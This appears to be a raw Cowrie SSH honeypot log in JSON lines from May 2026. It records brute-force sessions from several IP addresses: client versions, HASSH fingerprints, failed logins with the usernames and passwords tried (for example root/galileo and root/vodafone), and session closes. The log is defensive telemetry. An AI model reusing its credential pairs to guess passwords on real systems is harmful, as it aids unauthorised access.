{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:10.397179Z","src_ip":"20.12.41.6","session":"622ec35ebb6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:10.490119Z","src_ip":"20.12.41.6","session":"622ec35ebb6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:11.507880Z","src_ip":"20.12.41.6","session":"622ec35ebb6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:20.865632Z","src_ip":"47.86.95.62","session":"d2b98803db84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":25524,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b30e24e4580","protocol":"ssh","message":"New connection: 165.154.23.26:25524 (159.203.135.109:22) [session: 9b30e24e4580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:38.693070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:38.698693Z","src_ip":"165.154.23.26","session":"9b30e24e4580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:38.928518Z","src_ip":"165.154.23.26","session":"9b30e24e4580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"312","message":"login attempt [root/312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:39.855287Z","src_ip":"165.154.23.26","session":"9b30e24e4580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:41.079920Z","src_ip":"165.154.23.26","session":"9b30e24e4580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":36684,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff33baea9f13","protocol":"ssh","message":"New connection: 31.59.89.180:36684 (159.203.135.109:22) [session: ff33baea9f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:51.073129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:51.077541Z","src_ip":"31.59.89.180","session":"ff33baea9f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:51.189445Z","src_ip":"31.59.89.180","session":"ff33baea9f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galileo","message":"login attempt [root/galileo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:51.672361Z","src_ip":"31.59.89.180","session":"ff33baea9f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:52.787513Z","src_ip":"31.59.89.180","session":"ff33baea9f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":54300,"dst_ip":"10.17.0.5","dst_port":22,"session":"56426805a56f","protocol":"ssh","message":"New connection: 43.153.27.162:54300 (10.17.0.5:22) [session: 56426805a56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:02.992310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:02.997370Z","src_ip":"43.153.27.162","session":"56426805a56f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:03.066365Z","src_ip":"43.153.27.162","session":"56426805a56f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:03.374138Z","src_ip":"43.153.27.162","session":"56426805a56f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:04.447093Z","src_ip":"43.153.27.162","session":"56426805a56f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59130,"dst_ip":"10.17.0.5","dst_port":22,"session":"752702323437","protocol":"ssh","message":"New connection: 47.86.95.62:59130 (10.17.0.5:22) [session: 752702323437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:04.490821Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":60240,"dst_ip":"159.203.135.109","dst_port":22,"session":"36432d850ef6","protocol":"ssh","message":"New connection: 61.222.211.114:60240 (159.203.135.109:22) [session: 36432d850ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:10.113625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:10.118630Z","src_ip":"61.222.211.114","session":"36432d850ef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:10.333494Z","src_ip":"61.222.211.114","session":"36432d850ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:11.211439Z","src_ip":"61.222.211.114","session":"36432d850ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:12.426449Z","src_ip":"61.222.211.114","session":"36432d850ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:14.757895Z","src_ip":"47.86.95.62","session":"752702323437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":51910,"dst_ip":"159.203.135.109","dst_port":22,"session":"70d84bbb93cf","protocol":"ssh","message":"New connection: 118.26.36.248:51910 (159.203.135.109:22) [session: 70d84bbb93cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:24.861453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:24.866412Z","src_ip":"118.26.36.248","session":"70d84bbb93cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:25.079066Z","src_ip":"118.26.36.248","session":"70d84bbb93cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang123","message":"login attempt [root/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:25.959680Z","src_ip":"118.26.36.248","session":"70d84bbb93cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:27.175735Z","src_ip":"118.26.36.248","session":"70d84bbb93cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":39236,"dst_ip":"10.17.0.5","dst_port":22,"session":"258334f61a1d","protocol":"ssh","message":"New connection: 20.12.41.6:39236 (10.17.0.5:22) [session: 258334f61a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:37.034043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:37.039350Z","src_ip":"20.12.41.6","session":"258334f61a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:37.058009Z","src_ip":"20.12.41.6","session":"258334f61a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vodafone","message":"login attempt [root/vodafone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:37.148634Z","src_ip":"20.12.41.6","session":"258334f61a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:38.167898Z","src_ip":"20.12.41.6","session":"258334f61a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:53.150956Z","src_ip":"47.86.95.62","session":"d2b98803db84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52848,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf964e43eb49","protocol":"ssh","message":"New connection: 47.86.95.62:52848 (10.17.0.5:22) [session: cf964e43eb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:56:59.096021Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":55152,"dst_ip":"159.203.135.109","dst_port":22,"session":"af77722f8812","protocol":"ssh","message":"New connection: 31.59.89.180:55152 (159.203.135.109:22) [session: af77722f8812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:07.057680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:07.062736Z","src_ip":"31.59.89.180","session":"af77722f8812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:07.173210Z","src_ip":"31.59.89.180","session":"af77722f8812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elite","message":"login attempt [root/elite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:07.647885Z","src_ip":"31.59.89.180","session":"af77722f8812","protocol":"ssh"}
